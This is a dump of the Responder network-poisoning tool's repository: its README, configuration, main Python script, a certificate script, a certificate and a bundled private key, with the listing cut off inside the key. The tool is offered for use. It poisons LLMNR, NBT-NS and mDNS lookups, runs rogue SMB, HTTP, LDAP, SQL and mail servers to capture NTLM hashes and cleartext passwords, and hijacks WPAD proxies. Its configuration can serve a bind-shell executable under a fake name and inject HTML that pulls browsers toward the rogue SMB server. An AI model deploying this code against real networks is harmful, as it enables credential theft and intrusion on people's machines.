├── .gitignore ├── LICENSE ├── README.md ├── Responder.conf ├── Responder.py ├── certs ├── gen-self-signed-cert.sh ├── responder.crt └── responder.key ├── files ├── AccessDenied.html └── BindShell.exe ├── fingerprint.py ├── odict.py ├── packets.py ├── poisoners ├── LLMNR.py ├── MDNS.py ├── NBTNS.py └── __init__.py ├── servers ├── Browser.py ├── DNS.py ├── FTP.py ├── HTTP.py ├── HTTP_Proxy.py ├── IMAP.py ├── Kerberos.py ├── LDAP.py ├── MSSQL.py ├── POP3.py ├── SMB.py ├── SMTP.py └── __init__.py ├── settings.py ├── tools ├── BrowserListener.py ├── DHCP.py ├── DHCP_Auto.sh ├── FindSMB2UPTime.py ├── FindSQLSrv.py ├── Icmp-Redirect.py ├── RelayPackets.py └── SMBRelay.py └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | /plugins/old_plugins/ 2 | backdoored/ 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | 7 | # C extensions 8 | *.so 9 | 10 | # Distribution / packaging 11 | .Python 12 | env/ 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *,cover 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | 55 | # Sphinx documentation 56 | docs/_build/ 57 | 58 | # PyBuilder 59 | target/ 60 | 61 | # Responder logs 62 | *.db 63 | *.txt 64 | *.log 65 | logs/* 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | :no_entry: [DEPRECATED] Active at https://github.com/lgandx/Responder 2 | 3 | 4 | # Responder.py # 5 | 6 | LLMNR/NBT-NS/mDNS Poisoner 7 | 8 | Author: Laurent Gaffie http://www.spiderlabs.com 9 | 10 | 11 | 12 | ## Intro ## 13 | 14 | Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. 15 | 16 | The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. 17 | 18 | ## Features ## 19 | 20 | - Built-in SMB Auth server. 21 | 22 | Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched. 23 | 24 | - Built-in MSSQL Auth server. 25 | 26 | In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008. 27 | 28 | - Built-in HTTP Auth server. 29 | 30 | In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari. 31 | 32 | Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. 33 | 34 | - Built-in HTTPS Auth server. 35 | 36 | Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair. 37 | 38 | - Built-in LDAP Auth server. 39 | 40 | In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. 41 | 42 | - Built-in FTP, POP3, IMAP, SMTP Auth servers. 43 | 44 | This modules will collect clear text credentials. 45 | 46 | - Built-in DNS server. 47 | 48 | This server will answer type A queries. This is really handy when it's combined with ARP spoofing. 49 | 50 | - Built-in WPAD Proxy Server. 51 | 52 | This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf. 53 | 54 | - Browser Listener 55 | 56 | This module allows to find the PDC in stealth mode. 57 | 58 | - Fingerprinting 59 | 60 | When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. 61 | 62 | - Icmp Redirect 63 | 64 | python tools/Icmp-Redirect.py 65 | 66 | For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective. 67 | 68 | - Rogue DHCP 69 | 70 | python tools/DHCP.py 71 | 72 | DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. 73 | 74 | - Analyze mode. 75 | 76 | This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet. 77 | 78 | ## Hashes ## 79 | 80 | All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format: 81 | 82 | (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt 83 | 84 | Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). 85 | 86 | - Responder will logs all its activity to Responder-Session.log 87 | - Analyze mode will be logged to Analyze-Session.log 88 | - Poisoning will be logged to Poisoners-Session.log 89 | 90 | Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf 91 | 92 | 93 | ## Considerations ## 94 | 95 | - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553. 96 | 97 | - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. 98 | 99 | - For Ubuntu users: 100 | 101 | Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9` 102 | 103 | - Any rogue server can be turned off in Responder.conf. 104 | 105 | - This tool is not meant to work on Windows. 106 | 107 | - For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root: 108 | 109 | launchcl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist 110 | 111 | launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist 112 | 113 | launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist 114 | 115 | launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist 116 | 117 | ## Usage ## 118 | 119 | First of all, please take a look at Responder.conf and tweak it for your needs. 120 | 121 | Running the tool: 122 | 123 | ./Responder.py [options] 124 | 125 | Typical Usage Example: 126 | 127 | ./Responder.py -I eth0 -wrf 128 | 129 | Options: 130 | 131 | --version show program's version number and exit 132 | -h, --help show this help message and exit 133 | -A, --analyze Analyze mode. This option allows you to see NBT-NS, 134 | BROWSER, LLMNR requests without responding. 135 | -I eth0, --interface=eth0 136 | Network interface to use 137 | -b, --basic Return a Basic HTTP authentication. Default: NTLM 138 | -r, --wredir Enable answers for netbios wredir suffix queries. 139 | Answering to wredir will likely break stuff on the 140 | network. Default: False 141 | -d, --NBTNSdomain Enable answers for netbios domain suffix queries. 142 | Answering to domain suffixes will likely break stuff 143 | on the network. Default: False 144 | -f, --fingerprint This option allows you to fingerprint a host that 145 | issued an NBT-NS or LLMNR query. 146 | -w, --wpad Start the WPAD rogue proxy server. Default value is 147 | False 148 | -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY 149 | Upstream HTTP proxy used by the rogue WPAD Proxy for 150 | outgoing requests (format: host:port) 151 | -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file 152 | retrieval. This may cause a login prompt. Default: 153 | False 154 | --lm Force LM hashing downgrade for Windows XP/2003 and 155 | earlier. Default: False 156 | -v, --verbose Increase verbosity. 157 | 158 | 159 | 160 | 161 | 162 | ## Copyright ## 163 | 164 | NBT-NS/LLMNR Responder 165 | Created by Laurent Gaffie 166 | Copyright (C) 2013 Trustwave Holdings, Inc. 167 | 168 | This program is free software: you can redistribute it and/or modify 169 | it under the terms of the GNU General Public License as published by 170 | the Free Software Foundation, either version 3 of the License, or 171 | (at your option) any later version. 172 | 173 | This program is distributed in the hope that it will be useful, 174 | but WITHOUT ANY WARRANTY; without even the implied warranty of 175 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 176 | GNU General Public License for more details. 177 | 178 | You should have received a copy of the GNU General Public License 179 | along with this program. If not, see 180 | -------------------------------------------------------------------------------- /Responder.conf: -------------------------------------------------------------------------------- 1 | [Responder Core] 2 | 3 | ; Servers to start 4 | SQL = On 5 | SMB = On 6 | Kerberos = On 7 | FTP = On 8 | POP = On 9 | SMTP = On 10 | IMAP = On 11 | HTTP = On 12 | HTTPS = On 13 | DNS = On 14 | LDAP = On 15 | 16 | ; Custom challenge 17 | Challenge = 1122334455667788 18 | 19 | ; SQLite Database file 20 | ; Delete this file to re-capture previously captured hashes 21 | Database = Responder.db 22 | 23 | ; Default log file 24 | SessionLog = Responder-Session.log 25 | 26 | ; Poisoners log 27 | PoisonersLog = Poisoners-Session.log 28 | 29 | ; Analyze mode log 30 | AnalyzeLog = Analyzer-Session.log 31 | 32 | ; Specific IP Addresses to respond to (default = All) 33 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 34 | RespondTo = 35 | 36 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 37 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 38 | RespondToName = 39 | 40 | ; Specific IP Addresses not to respond to (default = None) 41 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 42 | DontRespondTo = 43 | 44 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 45 | ; Example: DontRespondTo = NAC, IPS, IDS 46 | DontRespondToName = 47 | 48 | ; If set to On, we will stop answering further requests from a host 49 | ; if a hash hash been previously captured for this host. 50 | AutoIgnoreAfterSuccess = Off 51 | 52 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 53 | ; to authenticate for the first time to try to get different credentials. 54 | ; This may break file serving and is useful only for hash capture 55 | CaptureMultipleCredentials = Off 56 | 57 | [HTTP Server] 58 | 59 | ; Set to On to always serve the custom EXE 60 | Serve-Always = Off 61 | 62 | ; Set to On to replace any requested .exe with the custom EXE 63 | Serve-Exe = Off 64 | 65 | ; Set to On to serve the custom HTML if the URL does not contain .exe 66 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 67 | Serve-Html = Off 68 | 69 | ; Custom HTML to serve 70 | HtmlFilename = files/AccessDenied.html 71 | 72 | ; Custom EXE File to serve 73 | ExeFilename = files/BindShell.exe 74 | 75 | ; Name of the downloaded .exe that the client will see 76 | ExeDownloadName = ProxyClient.exe 77 | 78 | ; Custom WPAD Script 79 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';} 80 | 81 | ; HTML answer to inject in HTTP responses (before tag). 82 | ; Set to an empty string to disable. 83 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. 84 | HTMLToInject = Loading 85 | 86 | [HTTPS Server] 87 | 88 | ; Configure SSL Certificates to use 89 | SSLCert = certs/responder.crt 90 | SSLKey = certs/responder.key 91 | -------------------------------------------------------------------------------- /Responder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import optparse 18 | import ssl 19 | 20 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn 21 | from threading import Thread 22 | from utils import * 23 | 24 | banner() 25 | 26 | parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0]) 27 | parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) 28 | parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None) 29 | parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) 30 | parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) 31 | parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) 32 | parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False) 33 | parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) 34 | parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) 35 | parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) 36 | parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) 37 | parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) 38 | parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") 39 | options, args = parser.parse_args() 40 | 41 | if not os.geteuid() == 0: 42 | print color("[!] Responder must be run as root.") 43 | sys.exit(-1) 44 | elif options.OURIP is None and IsOsX() is True: 45 | print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" 46 | parser.print_help() 47 | exit(-1) 48 | 49 | settings.init() 50 | settings.Config.populate(options) 51 | 52 | StartupMessage() 53 | 54 | settings.Config.ExpandIPRanges() 55 | 56 | if settings.Config.AnalyzeMode: 57 | print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) 58 | 59 | class ThreadingUDPServer(ThreadingMixIn, UDPServer): 60 | def server_bind(self): 61 | if OsInterfaceIsSupported(): 62 | try: 63 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 64 | except: 65 | pass 66 | UDPServer.server_bind(self) 67 | 68 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 69 | def server_bind(self): 70 | if OsInterfaceIsSupported(): 71 | try: 72 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 73 | except: 74 | pass 75 | TCPServer.server_bind(self) 76 | 77 | class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): 78 | def server_bind(self): 79 | MADDR = "224.0.0.251" 80 | 81 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 82 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) 83 | 84 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) 85 | 86 | if OsInterfaceIsSupported(): 87 | try: 88 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 89 | except: 90 | pass 91 | UDPServer.server_bind(self) 92 | 93 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): 94 | def server_bind(self): 95 | MADDR = "224.0.0.252" 96 | 97 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) 98 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) 99 | 100 | Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) 101 | 102 | if OsInterfaceIsSupported(): 103 | try: 104 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') 105 | except: 106 | pass 107 | UDPServer.server_bind(self) 108 | 109 | ThreadingUDPServer.allow_reuse_address = 1 110 | ThreadingTCPServer.allow_reuse_address = 1 111 | ThreadingUDPMDNSServer.allow_reuse_address = 1 112 | ThreadingUDPLLMNRServer.allow_reuse_address = 1 113 | 114 | def serve_thread_udp_broadcast(host, port, handler): 115 | try: 116 | server = ThreadingUDPServer(('', port), handler) 117 | server.serve_forever() 118 | except: 119 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 120 | 121 | def serve_NBTNS_poisoner(host, port, handler): 122 | serve_thread_udp_broadcast(host, port, handler) 123 | 124 | def serve_MDNS_poisoner(host, port, handler): 125 | try: 126 | server = ThreadingUDPMDNSServer((host, port), handler) 127 | server.serve_forever() 128 | except: 129 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 130 | 131 | def serve_LLMNR_poisoner(host, port, handler): 132 | try: 133 | server = ThreadingUDPLLMNRServer((host, port), handler) 134 | server.serve_forever() 135 | except: 136 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 137 | 138 | def serve_thread_udp(host, port, handler): 139 | try: 140 | if OsInterfaceIsSupported(): 141 | server = ThreadingUDPServer((settings.Config.Bind_To, port), handler) 142 | server.serve_forever() 143 | else: 144 | server = ThreadingUDPServer((host, port), handler) 145 | server.serve_forever() 146 | except: 147 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 148 | 149 | def serve_thread_tcp(host, port, handler): 150 | try: 151 | if OsInterfaceIsSupported(): 152 | server = ThreadingTCPServer((settings.Config.Bind_To, port), handler) 153 | server.serve_forever() 154 | else: 155 | server = ThreadingTCPServer((host, port), handler) 156 | server.serve_forever() 157 | except: 158 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." 159 | 160 | def serve_thread_SSL(host, port, handler): 161 | try: 162 | 163 | cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) 164 | key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) 165 | 166 | if OsInterfaceIsSupported(): 167 | server = ThreadingTCPServer((settings.Config.Bind_To, port), handler) 168 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) 169 | server.serve_forever() 170 | else: 171 | server = ThreadingTCPServer((host, port), handler) 172 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) 173 | server.serve_forever() 174 | except: 175 | print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running." 176 | 177 | def main(): 178 | try: 179 | threads = [] 180 | 181 | # Load (M)DNS, NBNS and LLMNR Poisoners 182 | from poisoners.LLMNR import LLMNR 183 | from poisoners.NBTNS import NBTNS 184 | from poisoners.MDNS import MDNS 185 | threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) 186 | threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) 187 | threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) 188 | 189 | # Load Browser Listener 190 | from servers.Browser import Browser 191 | threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) 192 | 193 | if settings.Config.HTTP_On_Off: 194 | from servers.HTTP import HTTP 195 | threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,))) 196 | 197 | if settings.Config.SSL_On_Off: 198 | from servers.HTTP import HTTPS 199 | threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,))) 200 | 201 | if settings.Config.WPAD_On_Off: 202 | from servers.HTTP_Proxy import HTTP_Proxy 203 | threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,))) 204 | 205 | if settings.Config.SMB_On_Off: 206 | if settings.Config.LM_On_Off: 207 | from servers.SMB import SMB1LM 208 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,))) 209 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,))) 210 | else: 211 | from servers.SMB import SMB1 212 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,))) 213 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,))) 214 | 215 | if settings.Config.Krb_On_Off: 216 | from servers.Kerberos import KerbTCP, KerbUDP 217 | threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) 218 | threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) 219 | 220 | if settings.Config.SQL_On_Off: 221 | from servers.MSSQL import MSSQL 222 | threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) 223 | 224 | if settings.Config.FTP_On_Off: 225 | from servers.FTP import FTP 226 | threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,))) 227 | 228 | if settings.Config.POP_On_Off: 229 | from servers.POP3 import POP3 230 | threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,))) 231 | 232 | if settings.Config.LDAP_On_Off: 233 | from servers.LDAP import LDAP 234 | threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,))) 235 | 236 | if settings.Config.SMTP_On_Off: 237 | from servers.SMTP import ESMTP 238 | threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,))) 239 | threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,))) 240 | 241 | if settings.Config.IMAP_On_Off: 242 | from servers.IMAP import IMAP 243 | threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,))) 244 | 245 | if settings.Config.DNS_On_Off: 246 | from servers.DNS import DNS, DNSTCP 247 | threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) 248 | threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,))) 249 | 250 | for thread in threads: 251 | thread.setDaemon(True) 252 | thread.start() 253 | 254 | print color('[+]', 2, 1) + " Listening for events..." 255 | 256 | while True: 257 | time.sleep(1) 258 | 259 | except KeyboardInterrupt: 260 | sys.exit("\r%s Exiting..." % color('[+]', 2, 1)) 261 | 262 | if __name__ == '__main__': 263 | main() 264 | -------------------------------------------------------------------------------- /certs/gen-self-signed-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl genrsa -out responder.key 2048 3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" 4 | -------------------------------------------------------------------------------- /certs/responder.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw 3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC 4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU 10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm 11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw 15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW 16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v 17 | u0/CRCN/lg== 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /certs/responder.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS 8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY 9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U 10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R 11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i 12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ 13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS 14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL 15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9 16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1 17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf 18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje 19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2 20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes 21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35 22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf 23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm 24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp 26 | 